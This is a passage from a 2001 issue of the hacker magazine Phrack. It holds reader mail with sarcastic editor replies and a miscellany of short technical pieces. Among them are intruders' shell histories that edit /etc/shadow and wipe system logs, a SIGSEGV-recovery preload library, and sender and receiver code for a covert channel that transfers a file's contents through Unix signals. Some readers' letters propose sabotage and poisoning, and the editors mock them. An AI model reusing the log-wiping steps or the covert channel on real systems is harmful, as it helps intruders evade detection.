$ mail distrib‑get.<n>@lists.phrack.org < /dev/null

where n indicated the phrack issue [1..58].

Enjoy the magazine!

Phrack Magazine Volume 10 Number 58, December 27, 2001. ISSN 1068‑1035 Contents Copyright (c) 2001 Phrack Magazine. All Rights Reserved. Nothing may be reproduced in whole or in part without written permission from the editors.

Phrack Magazine is made available to the public, as often as possible, free of charge.

|=‑‑‑‑‑‑‑‑‑‑‑=[ C O N T A C T P H R A C K M A G A Z I N E ]=‑‑‑‑‑‑‑‑‑=|

Editors : phrackstaff@phrack.org

Submissions : phrackstaff@phrack.org

Commentary : loopback@phrack.org

Phrack World News : disorder@phrack.org

We have some agressive /dev/null‑style mail filter running. We do reply to every serious email. If you did not get a reply, then your mail was probably not worth an answer or was caught by our mailfilter. Make sure your mail has a non‑implicit destination, one recipient, a non‑empty subject field, and does not contain any html code and is 100% 7bit clean pure ascii.

|=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Submissions may be encrypted with the following PGP key:

‑‑‑‑‑BEGIN PGP PUBLIC KEY BLOCK‑‑‑‑‑

Version: GnuPG v1.0.5 (GNU/Linux)

Comment: For info see http://www.gnupg.org

mQGiBDr0dzURBAC0nXC8TlrGLzTrXBcOq0NP7V3TKp/HUXghV1uhsJLzgXL1N2ad XF7yKFoP0RyvC3O4SVhSjFtaJZgwczkkRwgpabOddk77fnCENPvl2n0pWmyZuSQa fTEn+P8gmKEeyWXo3EDURgV5OM6m/zVvsQGxkP3/jjGES6eaELXRqqNM9wCgrzkS c0a4bJ03ETjcQa8qp3XIuLsD/04nseebHrqgLHZ/1s1gF6wdRFYGlOYY1tvkcIU4 BRqgJZQu1DIauTEZiLBug+SdRyhJlYPhXWLXr3r7cq3TdxTD1DmM97V8CigA1H5Y g7UB0L5ZygL2ezRxMNxyBxPNDRj3VY3niMg/DafqFs4PXSeL/N4/xU45UBeyk7La QK2dA/4/FKBpUjXGB83s0omQ9sPHYquTiS51wze3SLpJs0jLnaIUmJ1ayBZqr0xT 0LPQp72swGcDb5xvaNzNl2rPRKQZyrsDDX8xZdXSw1SrS6xogt83RWS6gbMQ7/Hr 4AF917ElafjEp4wwd/rekD84RPumRmz4I02FN0xR5VV6K1rbILQkcGhyYWNrc3Rh ZmYgPHBocmFja3N0YWZmQHBocmFjay5vcmc+iF0EExECAB0FAjr0dzUFCThkCQAF CwcKAwQDFQMCAxYCAQIXgAAKCRDT4MJPPu7c4etbAJ9P/6NeGwx/nyBBTVpMweCQ 6kFNkQCgnBLX1cmZ7DSg814YjZBFdLczcFS5Ag0EOvR3URAIAOumUGdn+NCs+Ue1 d1RDCNHg6I8GEeH5DElGWC8jSMor2DOgah31VEcoPgVmtEdL8ZD/tl97vxcEhntA ttlELWVJV854kWxRMeCFbBS+fjcQpHCig5WjFzuOrdwBHlNZK2xWCpbV770eSPb/ +z9nosdP8WzmVnJ0JVoIc99JJf3d6YfJuscebB7xn6vJ3hZWM9kqMSyXaG1K3708 gSfhTr1n9Hs7nDfKMMQ73Svbe6J3kZJNdX0cqZJLHfeiiUrtf0ZCVG52AxfLaWfm uPoIpZaJFzexJL/TL9gsRRvVdILd3SmVKtt2koaHNmUgFRVttol3bF8VTiGWb2uX S6WjbwcAAwUH/R9Fsk1Vf04qnzZ21DTsjwlA76cOje0Tme1VIYfwE33f3SkFo89+ jYPFCMNObvSs/JVrstzzZr/c36a4rwi93Mxn7Tg5iT2QEBdDomLb3plpbF3r3OF3 HcuXYuzNUubiA5J2nf3Rf0DdUVwWmOx8gnqF/QUrKRO+fzomT/jVaAYkVovMBE9o csA6t6/vF+SQ5dxPq+6lTJzFY5aK90p1TGHA+2K18yCkcivPEo7b/qu+n9vCOYHM WM+cp49bcUMExRkL934O1KUhHxbL96yBRWRzrJaC7ybGjC9hFAQ/wuXzaHOXEHd4 PqrTZI/rvnRcVJ1CXVt9UfsLXUROaEAtAOOITAQYEQIADAUCOvR3UQUJOGQJAAAK CRDT4MJPPu7c4eksAJ9w/y+n6CHeqeUgKCYZ+EKvNWC30gCfYblC4sGwllhPufgT gPaxlvAXKrM=

=p9fB

‑‑‑‑‑END PGP PUBLIC KEY BLOCK‑‑‑‑‑

phrack:~# head ‑20 /usr/include/std‑disclaimer.h

/*

* All information in Phrack Magazine is, to the best of the ability of * the editors and contributors, truthful and accurate. When possible, * all facts are checked, all code is compiled. However, we are not * omniscient (hell, we don't even get paid). It is entirely possible * something contained within this publication is incorrect in some way. * If this is the case, please drop us some email so that we can correct * it in a future issue.

*

*

* Also, keep in mind that Phrack Magazine accepts no responsibility for * the entirely stupid (or illegal) things people may do with the * information contained herein. Phrack is a compendium of knowledge, * wisdom, wit, and sass. We neither advocate, condone nor participate * in any sort of illicit behavior. But we will sit back and watch. *

*

* Lastly, it bears mentioning that the opinions that may be expressed in * the articles of Phrack Magazine are intellectual property of their * authors.

* These opinions do not necessarily represent those of the Phrack Staff. */

|=[ EOF ]=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Phrack Loopback

==Phrack Inc.==

Volume 0x0b, Issue 0x3a, Phile #0x02 of 0x0e

|=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑=[ L O O P B A C K ]=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑=|

|=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

|=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑=[ phrackstaff ]=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑=|

Our mailboxes were flooded by replies....99% of them should have gone to /dev/null ‑ 1% of these 99% are published below. Let's start with some logs of hack attempts we experienced on our own server and from logs sent to us by other readers (sorted in descending order, most stupid hacker first...).

* PHRACK58/#phrack will not be released until the 29th, sorry everyone! <#phrack:zknown_> are you serious?

<#phrack:PHRACK58> You'll have to wait for me to retype everything from the hardcopy edition.

<#phrack:PHRACK58> someone, release phrack now... <#phrack:tknown> who releases phrack

<#phrack:PHRACK58> we'd like to gather a crowd to witness that historic event.

‑:‑ PHRACK58 was kicked off #phrack by rknown (please work out your issues)

[ From time to time people pretend or try to impersonate 'phrack' and spread false informations :> Phrack will be released on schedule..]

|=[ 0x00 ]=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

<timelog, some phrackstaff host>

[08:34] ‑ Just another scan from a.b.c.d (nothing unusual, our host is the first choice and a 'must‑scan' for every script kiddie). [08:38] ‑ next scan...again from ip a.b.c.d, same port range (doh!). [08:41] ‑ AGAIN!...(same src ip, same port range, ...man nmap ?). [09:07] ‑ "last message repeated 5 times"

[09:08] ‑ boredom took over and someone decided to take a closer look at the host and the kid who needs some training lessons in nmap... staff@phrack.org $ telnet a.b.c.d 1524

Connected to a.b.c.d.

Escape character is '^]'.

Backdoor Server

FUCK OFF!! By : krunch

Backdoor Authorized Code: you_are_an_idiot

Screw you dude !!!

#

|=[ 0x01 ]=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

[ found on some .edu host ‑ shared by students and teachers ]

haxor #1 (/root/.bash_history):

find /users/teach ‑name test

find /users/teach ‑name exam

exit

haxor #2 (/.sh_history, already root...)

pico /etc/passwd

whereis pico

vi /etc/passwd

cat /etc/passwd

vi /etc/passwd

passwd dre

whereis adduser

vi /etc/shadow

su dre

exit

haxor #3

cd exams

ls

pwd

cd /var/adm

ls

rm ‑Rf lastlog messages utmp utmpx wtmp wtmpx

exit

haxor #4

telnet localhost 60606

cd /var/adm

ls

rm messages utmp utmpx wtmp wtmpx lastlog ‑Rf

y

exit

haxor #6:

id

cd /var/log

ls

grep <evil haxor ip> *

cd ..

ls

find /var | grep <evil haxor ip>

cd adm

ls

rm messages wtmp ‑Rf

exit

haxor #7:

./in.telnetd

mv in.telonetd sh

./sh example.conf

mv in.telnetd sh

./sh example.conf

exit

|=[ 0x02 ]=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

[ ..while grep'ing through the filtered mails from phrackstaff@phrack.org we found someone flirting with our mailman‑mailinglist‑manager... ]

From: Per1805@aol.com

Subject: Re: Your message to phrackstaff awaits moderator approval

thank u very much

[ np ]

|=[ 0x03 ]=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

From: blitz <blitz@macronet.net>

Good to read a fresh Phrack. I go back quite a way (he says as he scratches his grey beard) with you guyz. Best of luck to the new staph...er staff, keep on kickin ass.

[ ...fresher than an androids ass, spicier than uncle joey's pizza, hotter than a smoking FBI gun...GO GET PHRACK58 !%$!#$^... ]

|=[ 0x04 ]=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

From: Poisonoak55@aol.com

Date: Sat, 1 Dec 2001 17:36:57 EST

Subject: ????????????

To: webmaster@phrack.org

What is this all about?

[ It's about sex drugs and rock'n'roll, pure violence and brutal rapings. It's about building bombs, penetrating military protected buildings and taking over the world. The same thing we do every night pinkey. ]

|=[ 0x05 ]=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

[ comments by an anonymous user on the webpage: ]

Umm..the loopback 0x16 and 0x0f are the same...

[ ...and the Jedi Knight _again_ replied with a strong tongue: "They are not!" ...and _again_ swang his hand from the left to the right with a slight hope to bluff the audience a second time... ]

|=[ 0x06 ]=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

From: "Vergoz Michael" <descript@subk.org>

a test image for phrack for futur and current paper

[ yeah! Mr. super kewlio you are. And by the way: the name of the magazine is 'PHRACK' not 'PHREAK' ‑ fix the grfx |@$#@#$^%!$%... ]

|=[ 0x07 ]=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

From: Delta‑Master <Falinra@yahoo.com>

Subject: [phrackstaff] Any old school?

Just curious if this is run by newbies, or if there are any old‑school people who might remember Delta‑Master.

[ ...some are new, others contributed to earlier phrack issues and the rest leeched their first phrack over a 1200baud line... ]

Any contact info for Bill from RNOC or any other LOD/H people still around? What ever happened to Craig&Randy? Makes me want to have a giant "Where are they now" list.

D‑M

|=[ 0x08 ]=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

From: jennifer hansen <littlemisspatriot@yahoo.com>

To: jericho@attrition.org, dover@dis.org, emmanuel@2600.com, cmeinel@techbroker.com, veggie@cultdeadcow.com, loopback@phrack.org, jefe@reject.org

I got your email addresses from "The Notorious B.O.O.G.".

[ Yeah babe, he is a very close friend of all of us! ]

I've been stuck in the past few days with

what an effective strategic & tactical position the

hacker community inhabits in war time.

[ Woah. Here we go. Uncle Sam unlock your weapon, target your enemy and wait for further instructions. Side by side littlemisspartrior@yahoo.com we will fight for the right until a silver bullet hits the eye and lets us die. ]

The following is an email that I sent to "The

Notorious B.O.O.G." and that he posted (with his

response) on www.guerrillanews.org on 9.19.2001.

[ Y0. I've got some 30,000 warriors gathering at Norad. Let's unite your Mao Tse Tung guerilla's with my troops and prepare a full blown first strike nuclear offense against..whatever...who cares. BOOM BOOM. ]

I am engaged in independant research of terrorist organizations. I would love to discuss these ideas

further with you if you have interest.

[ RIGHT ON! y0 mrs.LittleMissPatriot, we already have all this stuff about building bombs and blowing away things in phrack1..7. I can forward you some never published articles about how to build nuclear warheads and biochemical warfare! ]

|=[ 0x09 ]=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

From: Phosgene <phosgene@setec.org>

United Future Underground

By Iconoclast

This is the long distance call,

Telephoning one and all,

Hackers and Phreakers Unite!

Organize and join the fight!

To those who play with phones,

And those who record the tones,

To those who hack the code,

And those who change the mode,

To those who scan the waves,

And those who encrypt their saves,

To those who build with chips,

And those who program MIPS.

Each passing day brings new laws

Perceived crimes without a cause,

Your freedoms and liberties

Are outlawed this day you see,

Fear, uncertainty and doubt

Feed Big Brother's deadly route.

Will they demand your crypto key?

Stand up and save your liberty!

Will they take your frequencies?

Or sell them at the highest fee?

Will they impose a modem tax,

And crank it up high to the max?

Will they tap your telephone line?

Since the FBI thinks its fine!

Illegal information?

Surveillance of a nation!

Censorship of silent truth?

We have the encrypted proof!

Its long past time we undertook

Steps to prove we're not evil crooks.

Educate the public today

On the path of the true hacker way.

[ ... ]

|=[ 0x0a ]=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

From: "Shai Hulud"

is there a way I can get an issue of phrack sent to me, I'll mail for shipping or whatever, just give me an address or something for me to send the money.

Thanks for your time

[ You think you can miss HAL? think you can miss the release party? think you can kiss a little bit of the phrackstaff's shiny metal ass and beg for a hardcover? NO FUCKING WAY! ]

p.s.

i like photo sex

[ !%$@#% TAKE OFF YOUR HANDS FROM THE HARDCOVER! DONT EVEN THINK ABOUT TOUCHING IT WITH YOUR DIRTY FINGERS !%@#$% ]

|=[ 0x0b ]=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

From: Junk‑B.‑FF@ifrance.com

You may think I'm just a pseudo anarchist, a "fight club" fan, but it's true : one day or the other, we'll all end up as slaves of larges corporations.

[ NO! You are serious, and only serious people make it into Loopback. ]

You are all making effort to avoid this. thank You.

[ Our secret mission is to form phrack & Co. to control the slavery. ]

We need to go further, and this is the point of this mail :

we need to transpose hacking to the offline world:

[ NO BRAIN. NO DICK. NO CARRIER. ]

we need to get falsified medical prescription and put Valium in coffee machines. We need to spread false rumours harming corporations, like there is arsenic in procter & gamble soap, things like that, u see?

[ http://www.phrack.org/howto ‑ we do not publish information which

is already known to the public. ]

we need to glue the locks of offices, police stations, luxuous cars, maybe even schools!

[ maybe your ass ? or maybe you should stop sniffing glue ? ]

nothing is static, everything is falling apart.

Thanks. (and sorry...I think I've wrote crap, but you got the idea....) Junk

|=[ 0x0c ]=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

From: Kubas Mail <kuba9999@yahoo.com>

[ ...nonsense here...]

jakob

=====

unsolicted mail is against federal law.

[ You've just been charged by Phrack Inc. with 100$ for unsolicted mail. ]

|=[ 0x0d ]=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

From: "Bandler, James" <James.Bandler@wsj.com>

greetings, i'm a reporter with the wall street journal looking for a primer on cable tv signal scrambling.

[ greetings, i'm the editor in chief of the phrack street journal. ]

I'm trying to find a Carl Corey, or perhaps, other experts on the subject.

[ WHAAAAAAAAAT? I'm not directory assistance. How long have you been at WSJ? You should know it's a big 'no no' to ask stupid questions for answers that can be found at http://www.yellowpages.com. ].

James Bandler

Phone: 617‑654‑6864

[ dont call us, we'll call you. ]

|=[ 0x0e ]=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

im so happy that you have the website up again i love the nostalgia

[ we're so happy we were able to do it ]

and plus phrack 57 is quite new

[ are you going to say previous volumes weren't?! ]

|=[ 0x0f ]=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

sorry for soo lamer question ....

i am very newbie ....

i am interested in phreaking ....

and i heard on irc , you have new magazine ...

[ Yeah! we have *new* magazine ]

but i read something ...

and i dont understand anything ....

[ i bet you don't feel so good with this

i can remember how i felt when i didn't understand what i read on some chinese box ]

where can i start ??

[ you can start everywhere ]

... i dont wanna old things (red boxing is no more usefull in my country :)

[ WHAT?! it is not?! DAMN! ]

.. can you help me ??

[ i will try my the best ]

maybee some links ??

[ www.google.com ]

and please ... dont give my mail in some loopback :)

[ OK.. hmmm Wait! Why not??? ]

see ya, peter

|=[ 0x10 ]=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

From: Socrates <socrates@lorettotel.net>

X‑Mailer: Microsoft Outlook Express 5.50.4522.1200

This message is to all members of the Legion Of Doom (professional):

[ phrack != LOD (we already had this topic during operation sundevil 11 years ago) ]

I would like to know how i can become a member of the LOD.Please post

[ Try to fill out the red application form, take an envelope and send it to the LOD HQ. If you are a lucky guy someone will reply to you. Otherwise, someone will come and punch your head against the wall for being the most stupid human on planet phrack^H^H^H^H^H^Hworld. ]

the information,so i can become a member.I'm a professional Hacker and my expertise is also in making homemade Fireworks and Explosives,revenge,mayhem,ect..

Dr.Frankenstein

|=[ EOF ]=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Phrack Signalnoise

==Phrack Inc.==

Volume 0x0b, Issue 0x3a, Phile #0x03 of 0x0e

|=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑=[ S I G N A L N O I S E ]=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑=|

|=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

|=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑=[ phrackstaff ]=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑=|

_

/ "crrr...Everything that does not fit somewhere else...crr" \ |‑+ ‑ ‑ ‑ "can be found here. Corrections and additions" ‑ ‑ ‑ +‑| |\_ "to previous articles, to short articles or articles that" _/| | "just dont make it....everything...crr..<NO CARRIER>" |

_=====_

0x00: SIGOOPS

0x01: No SIGSEGV anymore

0x02: covered IPC via TCP over signal()

0x03: SIGnalINTelligence warrant of apprehension on gobbles

|=[ 0x00 ]=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

p57‑02/loopback: 0x16 and 0x0f are the same. Oops.

We forgot to mention the email of brett (variablek@home.com) who wrote the cisco addendum in p57‑03/linenoise.

|=[ 0x01 ]=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Subject: Getting rid of SIGSEGV ‑ for fun but not for profit.

UNIX signals provide a mechanism for notiying processes of system events, communication [see below :P] and syncronization between processes and exception handling. Most readers are familiar with the term 'software generated signals' (generated by the kernel or userland application) and 'cpu exceptions'.

The most famous and by far the most hated signal under UNIX is SIGSEGV. The signal is usually generated by the kernel when 'something realy bad happened' or something 'your hardware is really not amused about'. The hardware 'is not amused' about illegal memory references and notifies the kernel (cpu exception) which in turn notifies the offending process with a signal. The default action is to terminate the running process and to dump core.

What would happen if the process could recover from such a SIGSEGV and continue execution? After a SIGSEGV the process is in an undefined state and basicly everything could happen. In many cases the result is by far less extrem as we would expect. We may experience missing grafics in netscape, no background image in Eterm or missing frames in a .avi movie.

A programm may use signal(SIGSEGV, SIG_IGN); to ignore a SIGSEGV sent by another process. A cpu exception generated by the hardware will still cause the process to terminate (default action). A process may choose to override the default action and specify a signal handler ‑ a user‑defined function which is invoked whenever a SIGSEGV is delivered to the process. We will concentrade on SIGSEGV caused by a cpu exception only ‑ recovering from all other cases is trivial.

Let's first take a look at the kernel and follow the path of the SIGSEGV until it gets delivered to the application. After our little excurse I will show some source which, compiled as a shared object, can be preloaded (LD_PRELOAD) to any programm. The preloaded .so will recover (at its best) from a SIGSEGV and continue execution.

When the system boots, the function arch/i386/kernel/traps.c:trap_init() is called which sets up the Interrupt Descriptor Table (IDT) so that vector 0x14 (of type 15, dpl 0) points to the address of the page_fault entry from arch/i386/kernel/entry.S. The entry invoked do_page_fault() in arch/i386/mm/fault.c whenever the specific exception occures. This function handles all kind of page faults and calls 'force_sig_info()' if the exception was caused by user mode access to invalid memory. This function forces signal delivery to the userland applicationg by unblocking the signal and by setting SIG_IGN to SIG_DFL (if no handler has been assigned). To cut a long story short the kernel drops into send_sig_info() which calls deliver_signal() which calls send_signal() which calls sigaddset() which finaly set the bit in the process signalbitmask.

It is important to note that any action, including process termination, can only be taken by the receiving process itself. This requires, at the very least, that the process be scheduled to run. In between signal generation and signal delivery, the signal is said to be pending to the process.

When a process is scheduled to run the kernel checks for pending signals at the following times:

‑ Immediatly after waking up from an interruptible event.

‑ Before returning to user mode from a system call or interrupt. ‑ Before blocking on an interruptible event.

The kernel calls arch/i386/kernel/signal.c:do_signal() and fetches the first pending signal from the queue (kernel/signal.c:dequeue_signal()). Nothing spectacular happens and the kernel processes with the next pending signal from the queue if action is set to SIG_DFL or SIG_IGN. The kernel calls handle_signal() if a user‑defined action has been assigned to the signal handler (ka‑>sa.sa_handler).

If the signal event occured during a system call with restarting capability the eip of the process is substracted by the value of 2 to automaticly reinvoke the system call after the signal handler returned. The kernel calls setup_frame() to save the current register set and other values (see 'struct sigframe' in arch/i386/kernel/signal.c) on the stack of the process. The same function also sets up a 'stub' which is executed after the signal handler returned to restore the previous saved 'sigframe'.

struct sigframe

{

char *pretcode; /* 4 bytes */

int sig; /* 4 bytes */

struct sigcontext sc; /* 88 bytes, see sigcontext.h */

struct _fpstate fpstate; /* 624 bytes, floating point regs */

unsigned long extramask[1]; /* 4 bytes */

char retcode[8]; /* 8 bytes */

};

struct sigcontext expands to:

struct sigcontext

{

... /56 bytes */

unsigned long eip; /* Aha! */

... /88 bytes */

};

The old eip is saved 64 bytes after the beginning of struct sigframe, followed by the return address of the signal handler and the saved frame pointer. The return address will points to the 'stub' which will pass control back to the kernel to restore the registers once the signal handler returns.

0xbfffffff | ... |

+‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

| sigframe, old eip | | is saved 56 bytes | <‑‑‑+ | from behind retaddr | |

+‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑68 bytes distance to

| retaddr of stub | saved eip from ebp.

+‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

ebp‑> | saved frame pointer | <‑‑‑+

+‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

| local variables of | | signal handler routine |

+‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

The easiest way to recover from a SIGSEGV thus is to assign our own signal handler, travel up the stack until we find the saved eip, set the eip to the instruction followed the instruction which caused the segfault and return from our handler.

The library also ignores SIGILL just for the case in which the process starts to run amok and the IP hits space where no IP has gone before.

/*

* someone@segfault.net

*

* This is published non‑proprietary source code of someone without a * name...someone who dont need to be named....

*

* You do not want to use this on productivity systems ‑ really not. *

* This preload‑library recovers from a SIGSEGV ‑ for fun purposes only! *

* $ gcc ‑Wall ‑O2 ‑fPIC ‑DDEBUG ‑c assfault.c

* $ ld ‑Bshareable ‑o assfault.so assfault.o ‑ldl

# $ LD_PRELOAD=./assfault.so netscape &

*/

#include <sys/types.h>

#include <sys/stat.h>

#include <sys/time.h>

#include <stdio.h>

#include <unistd.h>

#include <stdlib.h>

#include <string.h>

#include <signal.h>

#include <dlfcn.h>

#define REPLACE(a, x, y) if ( !(o_##x = dlsym(##a , ##y)) )\ { fprintf(stderr, ##y"() not found in libc!\n");\ exit(‑1); }

#ifdef DEBUG

# define DEBUGF(a...) do{fprintf(stderr, "%s[%d]", __FILE__, __LINE__); \ fprintf(stderr, ##a);}while(0)

#else

# define DEBUGF(a...)

#endif

#define err_exit(str) do{fprintf(stderr, "ERROR:%s\n", str);exit(‑1);}while(0);

static void *(*o_signal)(int, void(*)(int));

static void *libc_handle = NULL;

static int sigcount;

void

assfault_handler(int sig)

{

DEBUGF("SIG%s occured (%d)\n"

, (sig==SIGSEGV)?"SEGV":(sig==SIGILL)?"ILL":"BUS", ++sigcount);

asm volatile("incl 0x44(%ebp)");

}

void

(*signal(int sn, void (*sighandler)(int)))()

{

if ((sn == SIGSEGV) || (sn == SIGILL) || (sn == SIGBUS))

{

DEBUGF("signal(SIG%s, ...) intercepted [%d]\n" , (sn==SIGSEGV)?"SEGV":(sn==SIGILL)?"ILL":"BUS", getpid()); return assfault_handler;

}

/* in all other cases call the original libc signal() ‑function */

return o_signal(sn, sighandler);

}

static void

assfault_init(void)

{

if ( (libc_handle = dlopen("libc.so", RTLD_NOW)) == NULL) if ( (libc_handle = dlopen("libc.so.6", RTLD_NOW)) == NULL) err_exit("error loading libc!");

/* get the address of the original signal() ‑function in libc */

REPLACE(libc_handle, signal, "signal");

/* redirect action for these signals to our functions */

o_signal(SIGSEGV, assfault_handler);

o_signal(SIGILL, assfault_handler);

o_signal(SIGBUS, assfault_handler);

dlclose(libc_handle);

}

/*

* called by dynamic loader.

*/

void

_init(void)

{

if (libc_handle != NULL)

return; /* should never happen */

assfault_init();

DEBUGF("assfault.so activated.\n");

}

/*** EOF assfault.c ***/

/*

* example programm that segfault's a lot.

* $ gcc ‑Wall ‑o segfault segfault.c

* $ LD_PRELOAD=./assfault.so ./segfault

*/

#include <stdio.h>

int

main()

{

char *ptr=NULL;

fprintf(stderr, "|0| everything looks fine. lets produce a SIGSEGV\n"); *ptr=1;

fprintf(stderr, "|1| after first provocated SIGSEGV\n"); *ptr=1;

fprintf(stderr, "|2| after second provocated SIGSEGV\n"); fprintf(stderr, "|X| We survived ‑ enough played today.\n");

return 0;

}

/*** EOF segfault.c ***/

|=[ 0x02 ]=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Subject: TCP over signal()

Bored subjects do naughty things, so why not transferring data with signals. With signals, not along with. Good old morsing

hits us again. Theoretical speaking its a covert channel. A method for transferring data which is not recognized as transfer to the outside world.

Things are simple, if sender sees a bit is 1 it sends 'HIGH'

and 'LOW' if it finds the bit being 0.

I let it to you to figure out how the simple programs work. :‑)

<recv.c>

#include <stdio.h>

#include <sys/types.h>

#include <signal.h>

#define L SIGHUP

#define H SIGUSR1

#define RESET SIGUSR2

int bit;

unsigned char c;

void recv_high_low(int x)

{

if (bit == 8) {

bit = 0;

putchar(c);

fflush(stdout);

c = 0;

}

if (x == H)

c = ((c<<1)|1);

else

c <<= 1;

++bit;

}

void recv_reset(int x)

{

bit = 0;

c = 0;

}

int main()

{

bit = 0;

c = 0;

signal(L, recv_high_low);

signal(H, recv_high_low);

signal(RESET, recv_reset);

for (;;);

return 0;

}

</recv.c>

<send.c>

#include <stdio.h>

#include <unistd.h>

#include <fcntl.h>

#include <errno.h>

#include <signal.h>

#include <sys/types.h>

#include <stdlib.h>

#define L SIGHUP

#define H SIGUSR1

#define RESET SIGUSR2

void die(char *s)

{

perror(s);

exit(errno);

}

int main(int argc, char **argv)

{

int pid, fd, j;

char *file, c;

if (argc < 3) {

fprintf(stderr, "Usage: %s <pid> <file>\n", argv[0]);

exit(1);

}

pid = atoi(argv[1]);

file = argv[2];

if ((fd = open(file, O_RDONLY)) < 0)

die("open");

kill(pid, RESET);

sleep(1);

while (read(fd, &c, sizeof(c)) > 0) {

/* and for every bit of this byte do */

for (j = 7; j >= 0; ‑‑j) {

if ((1<<j) & c) {

printf("1");fflush(stdout);

if (kill(pid, H) < 0)

die("kill");/* send HIGH (1) */

} else {

printf("0");fflush(stdout);

if (kill(pid, L) < 0)/* send LOW (0) */

die("kill");

}

usleep(200);

}

}

close(fd);

return 0;

}

</send.c>

|=[ 0x03 ]=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

* SIGINT CONFIDENTIAL REPORT ON GOBBLES *

On 2001/12/20 various individual around the world succeeded in unrevealing valuable information about the suspect. The information gathered about the suspect seems to be authentic ‑ action should be taken immediatly by local law enforcements.

WANTED ‑ GOBBLES ‑ WANTED ‑ GOBBLES ‑ WANTED ‑ GOBBLES ‑ WANTED

Do you have other handles beside 'Gobbles' ?

GOBBLES is known as many things, but GOBBLES can not let the rest of the world know he other identities in relation to name of GOBBLES due to fear of social rejection from he peers. GOBBLES wish at some point that people could stop asking, "GOBBLES who else are you known as" to him when all he really ask for is a little privacy, cannot people learn to keep their hands to what is their own?

What kind of species is 'Gobbles' and what is the sex ?

GOBBLES himself is homosapian (which mean human for all you penetrators) obviously but like the name GOBBLES came from Yahoo.com picture turkey.jpg found one day which made GOBBLES think to self, "Hey this a funny looking picture and make me think of security community that full of evil turkies, hehe 'other identity' should now become known as GOBBLES to be security turkey too!". Gobbles Security is not limited to one person, or one gender.

